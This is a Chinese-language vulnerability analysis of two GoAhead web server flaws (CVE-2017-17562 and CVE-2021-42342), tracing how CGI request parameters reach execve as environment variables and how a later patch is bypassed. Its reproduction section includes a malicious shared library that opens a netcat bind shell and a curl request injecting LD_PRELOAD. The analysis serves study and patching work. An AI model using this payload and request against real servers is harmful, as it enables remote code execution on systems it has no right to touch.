当前位置: 首页 > 技术干货 > goahead环境变量注入漏洞分析

goahead环境变量注入漏洞分析

发表于:2022-08-26 15:55 作者: AmaIIl 阅读数(2508人)

一、前言

1.1 下载地址

二、CVE-2017-17562

2.1 漏洞分析

cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。

2.2 代码分析

漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:

image-20220811093450785.png

代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOSTHTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdInstdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPathenvpstdInstdOut作为参数传入launchCgi函数中。

image-20220811094108913.png

PUBLIC char *websGetCgiCommName()
{
  return websTempFile(NULL, "cgi");
}

PUBLIC char *websTempFile(char *dir, char *prefix)
{
  static int count = 0;
  char   sep;

  sep = '/';
  if (!dir || *dir == '\0') {
#if WINCE
      dir = "/Temp";
      sep = '\\';
#elif ME_WIN_LIKE
      dir = getenv("TEMP");
      sep = '\\';
#elif VXWORKS
      dir = ".";
#else
      dir = "/tmp";
#endif
  }
  if (!prefix) {
      prefix = "tmp";
  }
  return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}

进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。

image-20220811095236691.png

至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。

2.3 漏洞复现

下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)

git clone https://github.com/embedthis/goahead.git
cd goahead
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead

编写恶意动态链接库,代码以及编译命令如下所示:

#include <stdio.h>
#include <stdlib.h>

static void main(void) __attribute__((constructor));

static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}

// gcc --shared -fPIC poc.c -o poc.so

构造HTTP请求发送

curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0

断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。

image-20220811102106361.png

2.4 补丁分析

首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。

image-20220811110039169.png

其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-typeapplication/x-www-form-urlencodedHTTP请求时会调用。

image-20220811110610000.png

三、cve-2021-42342

3.1 漏洞分析

cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:

image-20220811113111112.png

进入这个函数,当第二个参数为0return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。

image-20220811113314099.png

上文在对cve-2017-17562补丁进行分析时曾经提到,s-argaddFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg0,绕过的方式也很简单令headercontent-typemultipart/form-data即可。

image-20220811114255209.png

后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。

3.2 代码分析

为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。​ 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty师傅的文章。

image-20220811115146522.png

websOpen函数会根据配置启动相应的代码模块

image-20220811120341916.png

其中关于cgi请求的回调函数通过websDefineHandler函数定义。

image-20220811120257469.png

websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。

image-20220811115851803.png

websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。

image-20220811160104952.png

其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。

image-20220811160541882.png

此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的

image-20220811161242351.png

调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。

image-20220811161448355.png

3.2.1 WEBS_BEGIN

WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLineparseHeaderswebsRouteRequest函数。​ parseFirstLine函数负责将请求的类型url协议版本和请求参数保存在wp结构体中

image-20220811162025350.png

 parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg0,所以我们需要绕过addFormVars函数,即请求头content-typemultipart/form-data

image-20220811164409301.png

函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。

image-20220811165458877.png

调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。

image-20220811231634964.png

3.2.2 WEBS_CONTENT

返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。

image-20220811170228936.png

进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。​ initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。​ processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。​ processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp->upfd中。​ processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。

image-20220811170418725.png

当全部数据处理完毕后wp->eof1wp->state状态更改为WEBS_READY。​ 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp

image-20220811232449220.png

3.2.3 WEBS_READY

程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->stateWEBS_RUNNING,并调用cgiHandler函数。

image-20220811223716380.png

在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。

image-20220811232629208.png